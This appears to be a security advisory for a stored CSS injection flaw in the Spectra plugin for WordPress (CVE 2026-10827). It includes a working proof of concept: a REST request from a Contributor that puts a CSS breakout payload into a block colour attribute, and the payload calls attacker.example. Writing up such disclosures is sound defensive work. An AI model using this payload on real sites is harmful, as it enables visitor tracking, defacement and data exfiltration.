Spectra (Ultimate Addons for Gutenberg) < 2.20.0 – Contributor+ Stored CSS Injection via Block Attributes | CVE 2026-10827

Description

The plugin does not validate or escape several block style attributes before using them to build the CSS it outputs on the front end, allowing users with the Contributor role and above to inject arbitrary CSS into the pages that render the affected block. The injected styles are served to anonymous visitors of those pages and can force external resource loads, deface/redress the page, or exfiltrate data via CSS attribute selectors. JavaScript execution is not possible at this role (the script-tag breakout is removed by KSES), so the impact is limited to CSS injection.

Proof of Concept

Tested on Spectra 2.19.28 (latest, installed fresh from wordpress.org) on a multisite install with DISALLOW_UNFILTERED_HTML enabled, using the default asset-generation mode (CSS written to a file). Attacker = a Contributor user.

### Step 1 - Contributor stores the payload

As a Contributor, create a post with a Spectra "Advanced Heading" block and place a CSS breakout payload in its heading colour attribute. This can be done from the block editor, or directly via the REST API:

POST /wp-json/wp/v2/posts
X-WP-Nonce: <contributor wp_rest nonce>
Content-Type: application/json
Cookie: <contributor login cookies>

{
  "title": "css injection test",
  "status": "pending",
  "content": "<!-- wp:uagb/advanced-heading {\"block_id\":\"abc12345\",\"headingColor\":\"red; } body { background-image: url(https://attacker.example/track-CONTRIB); } .x { color: blue\",\"headingDescToggle\":true} -->\n<div class=\"wp-block-uagb-advanced-heading uagb-block-abc12345\"><h2 class=\"uagb-heading-text\">Pwn Heading</h2></div>\n<!-- /wp:uagb/advanced-heading -->"
}

The payload is stored intact: it lives inside the block-comment JSON, which WordPress KSES does not strip (the Contributor cannot use unfiltered HTML, but the block delimiter is not HTML-filtered).

### Step 2 - Editor/Admin publishes the pending post

An Editor or Administrator publishes the Contributor's pending post unchanged. The post author remains the Contributor.

### Step 3 - The breakout is served on the public page

Loading the published post as any anonymous (logged-out) visitor, the page enqueues the plugin-generated stylesheet for that post:

<link rel='stylesheet' id='uag-style-<id>-css' href='https://victim.example/wp-content/uploads/uag-plugin/assets/0/uag-css-<id>.css' media='all' />

The served stylesheet contains the injected rule, having broken out of the block's scoped selector with "}":

#uagb-adv-heading-abc12345.wp-block-uagb-advanced-heading .uagb-heading-text{color: red; } body { background-image: url(https://attacker.example/track-CONTRIB); } .x { color: blue;}

### Result

Every visitor's browser parses the injected `body { background-image: url(...) }` rule and issues a request to the attacker-controlled URL, confirming Contributor-controlled CSS executes for fully anonymous visitors of the published post. Beyond forcing an external resource load, the attacker controls arbitrary CSS on that page (UI redressing/defacement and CSS attribute-selector data exfiltration). JavaScript execution is not possible at this role: a `</style>` breakout to a `<script>` tag is removed by KSES, so the impact is limited to CSS injection.